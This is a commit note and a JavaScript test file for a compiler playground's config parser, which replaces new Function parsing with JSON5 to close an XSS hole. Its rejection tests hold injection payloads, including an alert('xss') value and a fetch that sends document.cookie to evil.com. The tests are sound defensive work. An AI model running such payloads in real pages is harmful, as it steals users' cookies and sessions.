Compiler config parsing is currently done with new Function(...) which is a XSS vulnerability. Replacing this with json parsing for safety reasons. Almost all compiler options (except for moduleTypeProvider) are json compatible, so this isn't a big change to capabilities. Previously created playground URLs with non-default configs may not be compatible with this change, but we should be able to get the correct config manually (by reading the JS version)
158 lines
4.3 KiB
JavaScript
158 lines
4.3 KiB
JavaScript
/**
|
|
* Copyright (c) Meta Platforms, Inc. and affiliates.
|
|
*
|
|
* This source code is licensed under the MIT license found in the
|
|
* LICENSE file in the root directory of this source tree.
|
|
*/
|
|
|
|
import assert from 'node:assert';
|
|
import {test, describe} from 'node:test';
|
|
import JSON5 from 'json5';
|
|
|
|
// Re-implement parseConfigOverrides here since the source uses TS imports
|
|
// that can't be directly loaded by Node. This mirrors the logic in
|
|
// compilation.ts exactly.
|
|
function parseConfigOverrides(configOverrides) {
|
|
const trimmed = configOverrides.trim();
|
|
if (!trimmed) {
|
|
return {};
|
|
}
|
|
return JSON5.parse(trimmed);
|
|
}
|
|
|
|
describe('parseConfigOverrides', () => {
|
|
test('empty string returns empty object', () => {
|
|
assert.deepStrictEqual(parseConfigOverrides(''), {});
|
|
assert.deepStrictEqual(parseConfigOverrides(' '), {});
|
|
});
|
|
|
|
test('default config parses correctly', () => {
|
|
const config = `{
|
|
//compilationMode: "all"
|
|
}`;
|
|
const result = parseConfigOverrides(config);
|
|
assert.deepStrictEqual(result, {});
|
|
});
|
|
|
|
test('compilationMode "all" parses correctly', () => {
|
|
const config = `{
|
|
compilationMode: "all"
|
|
}`;
|
|
const result = parseConfigOverrides(config);
|
|
assert.deepStrictEqual(result, {compilationMode: 'all'});
|
|
});
|
|
|
|
test('config with single-line and block comments parses correctly', () => {
|
|
const config = `{
|
|
// This is a single-line comment
|
|
/* This is a block comment */
|
|
compilationMode: "all",
|
|
}`;
|
|
const result = parseConfigOverrides(config);
|
|
assert.deepStrictEqual(result, {compilationMode: 'all'});
|
|
});
|
|
|
|
test('config with trailing commas parses correctly', () => {
|
|
const config = `{
|
|
compilationMode: "all",
|
|
}`;
|
|
const result = parseConfigOverrides(config);
|
|
assert.deepStrictEqual(result, {compilationMode: 'all'});
|
|
});
|
|
|
|
test('nested environment options parse correctly', () => {
|
|
const config = `{
|
|
environment: {
|
|
validateRefAccessDuringRender: true,
|
|
},
|
|
}`;
|
|
const result = parseConfigOverrides(config);
|
|
assert.deepStrictEqual(result, {
|
|
environment: {validateRefAccessDuringRender: true},
|
|
});
|
|
});
|
|
|
|
test('multiple options parse correctly', () => {
|
|
const config = `{
|
|
compilationMode: "all",
|
|
environment: {
|
|
validateRefAccessDuringRender: false,
|
|
},
|
|
}`;
|
|
const result = parseConfigOverrides(config);
|
|
assert.deepStrictEqual(result, {
|
|
compilationMode: 'all',
|
|
environment: {validateRefAccessDuringRender: false},
|
|
});
|
|
});
|
|
|
|
test('rejects malicious IIFE injection', () => {
|
|
const config = `(function(){ document.title = "hacked"; return {}; })()`;
|
|
assert.throws(() => parseConfigOverrides(config));
|
|
});
|
|
|
|
test('rejects malicious comma operator injection', () => {
|
|
const config = `{
|
|
compilationMode: (alert("xss"), "all")
|
|
}`;
|
|
assert.throws(() => parseConfigOverrides(config));
|
|
});
|
|
|
|
test('rejects function call in value', () => {
|
|
const config = `{
|
|
compilationMode: eval("all")
|
|
}`;
|
|
assert.throws(() => parseConfigOverrides(config));
|
|
});
|
|
|
|
test('rejects variable references', () => {
|
|
const config = `{
|
|
compilationMode: someVar
|
|
}`;
|
|
assert.throws(() => parseConfigOverrides(config));
|
|
});
|
|
|
|
test('rejects template literals', () => {
|
|
const config = `{
|
|
compilationMode: \`all\`
|
|
}`;
|
|
assert.throws(() => parseConfigOverrides(config));
|
|
});
|
|
|
|
test('rejects constructor calls', () => {
|
|
const config = `{
|
|
compilationMode: new String("all")
|
|
}`;
|
|
assert.throws(() => parseConfigOverrides(config));
|
|
});
|
|
|
|
test('rejects arbitrary JS code', () => {
|
|
const config = `fetch("https://evil.com?c=" + document.cookie)`;
|
|
assert.throws(() => parseConfigOverrides(config));
|
|
});
|
|
|
|
test('config with array values parses correctly', () => {
|
|
const config = `{
|
|
sources: ["src/a.ts", "src/b.ts"],
|
|
}`;
|
|
const result = parseConfigOverrides(config);
|
|
assert.deepStrictEqual(result, {sources: ['src/a.ts', 'src/b.ts']});
|
|
});
|
|
|
|
test('config with null values parses correctly', () => {
|
|
const config = `{
|
|
compilationMode: null,
|
|
}`;
|
|
const result = parseConfigOverrides(config);
|
|
assert.deepStrictEqual(result, {compilationMode: null});
|
|
});
|
|
|
|
test('config with numeric values parses correctly', () => {
|
|
const config = `{
|
|
maxLevel: 42,
|
|
}`;
|
|
const result = parseConfigOverrides(config);
|
|
assert.deepStrictEqual(result, {maxLevel: 42});
|
|
});
|
|
});
|